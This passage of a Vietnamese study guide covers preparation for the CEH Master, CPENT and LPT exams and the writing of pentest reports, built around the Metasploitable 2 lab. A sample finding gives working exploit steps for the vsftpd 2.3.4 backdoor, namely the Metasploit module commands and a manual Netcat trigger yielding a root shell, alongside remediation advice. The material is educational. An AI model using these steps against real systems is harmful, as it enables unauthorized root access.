  • Cô lập Mạng (Network Segmentation): Phân chia mạng thành các vùng bảo mật khác nhau (ví dụ: DMZ, mạng nội bộ, mạng cơ sở dữ liệu) và kiểm soát chặt chẽ luồng lưu lượng giữa các vùng này bằng tường lửa.
  • 6.2. Lời khuyên Ôn tập cho các Kỳ thi CEH Master, CPENT, LPT:
  • Thực hành Liên tục: Dành nhiều thời gian nhất có thể để thực hành trên các môi trường lab. Metasploitable 2 là một điểm khởi đầu tốt, nhưng hãy tiếp tục với các máy ảo khó hơn từ VulnHub, các lab trên Hack The Box, TryHackMe, hoặc Proving Grounds của Offensive Security.
  • Quản lý Thời gian Hiệu quả: Các kỳ thi thực hành như CEH Master, CPENT, LPT đều có giới hạn thời gian rất nghiêm ngặt.3 Luyện tập thực hiện các bước tấn công một cách nhanh chóng và hiệu quả. Biết khi nào nên chuyển sang mục tiêu khác nếu bị kẹt.
  • Nắm vững các Công cụ Cốt lõi:
  • Nmap: Thành thạo các tùy chọn quét, NSE scripts.
  • Metasploit Framework: Biết cách tìm kiếm module, cấu hình tùy chọn, chọn payload, sử dụng Meterpreter, và các module post-exploitation.
  • Netcat (nc): Công cụ đa năng để tạo kết nối TCP/UDP, chuyển file, tạo reverse/bind shell.
  • Công cụ quét web: Nikto, Dirb/Dirbuster/Gobuster, Wfuzz.
  • Burp Suite (hoặc OWASP ZAP): Rất quan trọng cho pentest ứng dụng web (intercepting proxy, repeater, intruder).
  • Công cụ crack mật khẩu: John the Ripper, Hashcat.
  • Clients: VNC clients, SSH, Telnet, RDP, clients cơ sở dữ liệu (mysql, psql).
  • SQLMap: Tự động hóa SQL Injection.
  • Hiểu sâu Cơ chế Khai thác: Không chỉ dừng lại ở việc biết cách chạy một công cụ hay một exploit. Hãy cố gắng hiểu tại sao một lỗ hổng tồn tại, cách exploit hoạt động ở mức độ cơ bản (ví dụ: buffer overflow, SQLi syntax, command injection payload). Điều này cực kỳ quan trọng cho CPENT/LPT, nơi có thể yêu cầu tùy chỉnh exploit hoặc thậm chí viết exploit đơn giản.6
  • Tuân theo Phương pháp luận Pentest (Pentest Methodology): Luôn có một quy trình rõ ràng:
  1. Thu thập thông tin (Reconnaissance/Information Gathering)
  2. Quét và Liệt kê (Scanning and Enumeration)
  3. Giành quyền Truy cập (Gaining Access/Exploitation)
  4. Leo thang Đặc quyền (Privilege Escalation)
  5. Duy trì Truy cập (Maintaining Access – nếu cần)
  6. Hậu Khai thác (Post-Exploitation – thu thập dữ liệu, di chuyển ngang)
  7. Xóa dấu vết (Covering Tracks – tùy thuộc vào phạm vi)
  8. Báo cáo (Reporting)
  • Kỹ năng Leo thang Đặc quyền: Đây là một phần cực kỳ quan trọng. Nắm vững các kỹ thuật leo thang đặc quyền phổ biến cho cả Linux (kernel exploits, SUID/SGID, sudo misconfigurations, cron jobs, writable files/paths, NFS misconfigurations) và Windows (kernel exploits, unquoted service paths, weak service permissions, DLL hijacking, AlwaysInstallElevated, token impersonation).
  • Kỹ năng Giải quyết Vấn đề (Problem Solving): Không phải lúc nào exploit cũng hoạt động ngay lần đầu. Bạn cần có khả năng gỡ lỗi, phân tích tại sao nó thất bại, và thử các phương pháp hoặc payload khác nhau.
  • Đọc kỹ Yêu cầu Đề bài: Trong môi trường thi cử, hiểu rõ mục tiêu, phạm vi cho phép, và các ràng buộc (ví dụ: công cụ nào được phép/không được phép sử dụng) là tối quan trọng.
  • Các lỗ hổng trong Metasploitable 2 là những bài học trực tiếp về những gì không nên làm trong môi trường sản xuất. Đây chính là những bài học mà giám khảo của các kỳ thi chứng chỉ mong đợi thí sinh có thể xác định, khai thác, và hiểu rõ ý nghĩa của chúng để đưa ra khuyến nghị. Mỗi lỗ hổng được khai thác (ví dụ: backdoor vsftpd, thông tin đăng nhập mặc định trên Tomcat/MySQL, Samba usermap script) đều trực tiếp chuyển thành một thực tiễn bảo mật tốt nhất cần được áp dụng (vá lỗi, sử dụng mật khẩu mạnh/duy nhất, cấu hình an toàn). Các kỳ thi 3 được thiết kế để kiểm tra xem một thí sinh có thể xác định những sai sót này và hiểu ý nghĩa của chúng hay không.
  • 6.3. Tầm quan trọng của việc viết báo cáo pentest chuyên nghiệp: Mặc dù việc thực hành khai thác là trọng tâm, khả năng tài liệu hóa các phát hiện một cách rõ ràng, súc tích và chuyên nghiệp là một kỹ năng thiết yếu của một chuyên gia kiểm thử xâm nhập. Kỳ thi CPENT có đề cập đến việc biên soạn báo cáo có cấu trúc và có thể hành động.4
  • Trong quá trình thực hành lab, hãy tập thói quen ghi chú chi tiết: các lệnh đã sử dụng, kết quả, ảnh chụp màn hình, các ý tưởng.
  • Việc này không chỉ giúp bạn theo dõi tiến trình của mình mà còn là nền tảng để viết một báo cáo pentest hoàn chỉnh sau này.
  • Một báo cáo tốt cần truyền đạt được giá trị của cuộc pentest cho cả đối tượng kỹ thuật và quản lý.32

Phần 7: Hướng dẫn Cơ bản về Viết Báo cáo Pentest (Dựa trên Lab)

Mục tiêu của phần này là sử dụng các phát hiện từ việc khai thác Metasploitable 2 để phác thảo một cấu trúc báo cáo pentest mẫu đơn giản. Điều này giúp người học làm quen với các thành phần và nội dung cần có trong một báo cáo chuyên nghiệp, một kỹ năng quan trọng đối với các chuyên gia bảo mật và là một phần của một số chứng chỉ nâng cao như CPENT.4

  • Các thành phần chính của một báo cáo pentest 32:
  1. Thông tin chung:
  • Tên Báo cáo: Ví dụ: “Báo cáo Kiểm thử Xâm nhập Máy chủ Metasploitable 2”
  • Ngày thực hiện: Ngày/tháng/năm
  • Người thực hiện: Tên của bạn/nhóm của bạn
  • Mục tiêu Đánh giá: Địa chỉ IP của Metasploitable 2 (ví dụ: 192.168.X.Y)
  • Phân loại Thông tin: Ví dụ: Bí mật, Nội bộ.
  1. Tóm tắt cho Quản lý (Executive Summary):
  • Mục đích: Một đoạn ngắn mô tả mục đích của cuộc kiểm thử xâm nhập (ví dụ: “Đánh giá tình trạng bảo mật của máy chủ Metasploitable 2 bằng cách mô phỏng các kỹ thuật tấn công thực tế để xác định các lỗ hổng tiềm ẩn và đánh giá rủi ro liên quan.”).
  • Tổng kết Phát hiện Chính: Nêu bật những lỗ hổng nghiêm trọng nhất được tìm thấy (ví dụ: “Nhiều dịch vụ mạng quan trọng bị phát hiện có lỗ hổng nghiêm trọng, bao gồm backdoor cho phép thực thi mã từ xa với quyền root, thông tin đăng nhập mặc định/yếu, và cấu hình sai dẫn đến leo thang đặc quyền.”).
  • Mức độ Rủi ro Tổng thể: Đánh giá chung về mức độ rủi ro của hệ thống (ví dụ: “Mức độ rủi ro tổng thể của hệ thống được đánh giá là Rất Cao/Nghiêm Trọng do sự tồn tại của nhiều lỗ hổng có thể bị khai thác dễ dàng để chiếm toàn quyền kiểm soát hệ thống.”).
  • Đề xuất Chính: Các hành động khắc phục ưu tiên ở mức cao (ví dụ: “Khuyến nghị ưu tiên vá lỗi ngay lập tức các dịch vụ có backdoor, thay đổi tất cả mật khẩu mặc định, và rà soát lại toàn bộ cấu hình hệ thống.”).
  • Ngôn ngữ sử dụng trong phần này phải rõ ràng, súc tích, không quá kỹ thuật, tập trung vào tác động đến hoạt động và bảo mật của tổ chức.33
  1. Phạm vi và Phương pháp luận (Scope and Methodology):
  • Phạm vi (Scope): Xác định rõ mục tiêu được kiểm thử (ví dụ: “Địa chỉ IP 192.168.X.Y (Metasploitable 2)”). Nêu rõ những gì nằm ngoài phạm vi (nếu có).
  • Thời gian thực hiện: Ngày bắt đầu và ngày kết thúc cuộc kiểm thử.
  • Phương pháp luận: Mô tả ngắn gọn quy trình đã tuân theo (ví dụ: “Cuộc kiểm thử được thực hiện theo các giai đoạn: Thu thập thông tin, Quét và Liệt kê, Khai thác Lỗ hổng, và Leo thang Đặc quyền.”). Liệt kê các công cụ chính đã sử dụng (Nmap, Metasploit Framework, Netcat, trình duyệt web, SQLMap, v.v.).33
  1. Chi tiết Phát hiện Kỹ thuật (Findings and Vulnerabilities):
    Đây là phần quan trọng nhất, liệt kê chi tiết từng lỗ hổng. Với mỗi lỗ hổng:
  • Tên Lỗ hổng: Mô tả ngắn gọn, dễ hiểu (ví dụ: “Backdoor trong Dịch vụ vsftpd phiên bản 2.3.4”).
  • CVE ID (nếu có): Mã định danh lỗ hổng chuẩn (ví dụ: CVE-2007-2447 cho Samba username map script).
  • Mô tả Chi tiết: Giải thích rõ lỗ hổng là gì, dịch vụ/ứng dụng nào bị ảnh hưởng, phiên bản cụ thể. Nguyên nhân gốc rễ của lỗ hổng.
  • Bằng chứng Khai thác (Proof of Concept – PoC): Các bước cụ thể đã thực hiện để khai thác lỗ hổng. Bao gồm các lệnh đã sử dụng, payload (nếu có), và kết quả quan sát được. Ảnh chụp màn hình là rất hữu ích để minh họa.32
  • Mức độ Nghiêm trọng/Rủi ro (Severity/Risk Rating): Đánh giá mức độ nghiêm trọng (ví dụ: Critical, High, Medium, Low, Informational). Có thể sử dụng thang điểm CVSS (Common Vulnerability Scoring System) nếu có thể ước lượng. Giải thích tại sao lỗ hổng lại có mức độ đó.
  • Tác động (Impact): Mô tả những hậu quả tiềm ẩn nếu lỗ hổng bị kẻ xấu khai thác (ví dụ: “Thực thi mã từ xa với quyền root”, “Truy cập trái phép vào dữ liệu nhạy cảm”, “Từ chối dịch vụ”, “Chiếm toàn quyền kiểm soát hệ thống”).
  • Đề xuất Khắc phục (Recommendations/Remediation): Đưa ra các hướng dẫn cụ thể, có thể hành động để vá lỗi hoặc giảm thiểu rủi ro. Ví dụ: “Nâng cấp phần mềm lên phiên bản X.Y.Z”, “Thay đổi cấu hình Z trong file abc.conf”, “Áp dụng cơ chế xác thực đầu vào mạnh mẽ cho tất cả các trường nhập liệu của người dùng”, “Thay đổi mật khẩu mặc định và sử dụng mật khẩu phức tạp”.
  1. Tổng kết và Kết luận (Summary and Conclusion):
    Tóm tắt lại một lần nữa tình trạng bảo mật chung của hệ thống dựa trên các phát hiện. Có thể nhấn mạnh lại các rủi ro chính và tầm quan trọng của việc thực hiện các khuyến nghị.
  2. Phụ lục (Appendices – nếu cần):
  • Log chi tiết từ các công cụ quét.
  • Danh sách đầy đủ các công cụ và phiên bản đã sử dụng.
  • Các script tùy chỉnh đã viết (nếu có).
  • Bảng 2: Mẫu Chi tiết một Phát hiện Lỗ hổng
MụcMô tả chi tiết
Tên Lỗ hổngThực thi mã từ xa do Backdoor trong vsftpd 2.3.4
CVE IDKhông có (lỗ hổng cố ý, không phải CVE chính thức cho phiên bản này nhưng tương tự các backdoor khác)
Dịch vụ Bị ảnh hưởngvsftpd (Very Secure FTP Daemon)
Phiên bản2.3.4
Mô tả Lỗ hổngPhiên bản vsftpd 2.3.4 trên máy chủ mục tiêu chứa một backdoor được kích hoạt khi người dùng đăng nhập bằng tên người dùng có chứa chuỗi :). Backdoor này mở một shell lắng nghe trên cổng TCP 6200, cho phép kẻ tấn công kết nối và thực thi lệnh với quyền của tiến trình vsftpd (trong trường hợp này là root).
Các bước PoC (Bằng chứng Khai thác)1. Sử dụng Metasploit:msfconsoleuse exploit/unix/ftp/vsftpd_234_backdoorset RHOSTS <IP_Metasploitable2>exploit2. Kết quả: Nhận được shell root trên hệ thống.# whoamiroot3. (Tùy chọn) Khai thác thủ công bằng Netcat:nc <IP_Metasploitable2> 21USER test:)PASS testMở terminal khác: nc <IP_Metasploitable2> 6200 để nhận shell.
Ảnh chụp màn hình (mô tả)(Mô tả ảnh chụp màn hình kết quả từ Metasploit cho thấy shell root đã được thiết lập, hoặc kết quả từ Netcat)
Mức độ Rủi roNghiêm trọng (Critical)
CVSS Score (ước tính)CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Tác động (Impact)Kẻ tấn công có thể thực thi mã tùy ý từ xa với quyền root, dẫn đến việc chiếm toàn quyền kiểm soát hệ thống, truy cập, sửa đổi hoặc xóa tất cả dữ liệu, cài đặt phần mềm độc hại, và sử dụng hệ thống làm bàn đạp để tấn công các hệ thống khác.
Khả năng Khai thác (Exploitability)Dễ dàng (Easy). Exploit công khai có sẵn và đáng tin cậy (Metasploit).
Đề xuất Khắc phục (Recommendations)1. Ngay lập tức: Gỡ bỏ hoặc nâng cấp dịch vụ vsftpd lên phiên bản mới nhất, không chứa backdoor.2. Kiểm tra: Rà soát lại toàn bộ hệ thống để tìm các dấu hiệu xâm nhập khác nếu dịch vụ này đã bị lộ ra ngoài trong một thời gian dài.3. Nguyên tắc chung: Không bao giờ cài đặt phần mềm từ các nguồn không đáng tin cậy. Luôn kiểm tra checksum và chữ ký số của phần mềm trước khi cài đặt.

Việc thực hành viết báo cáo dựa trên các phát hiện từ Metasploitable 2, ngay cả khi ở mức độ cơ bản, sẽ giúp củng cố kỹ năng tài liệu hóa và chuẩn bị cho các yêu cầu báo cáo chuyên nghiệp trong công việc thực tế và các kỳ thi chứng chỉ nâng cao. Một báo cáo tốt không chỉ liệt kê các lỗ hổng mà còn giải thích rõ ràng rủi ro và cung cấp các giải pháp khả thi.32

Bình luận về bài viết này

Thịnh hành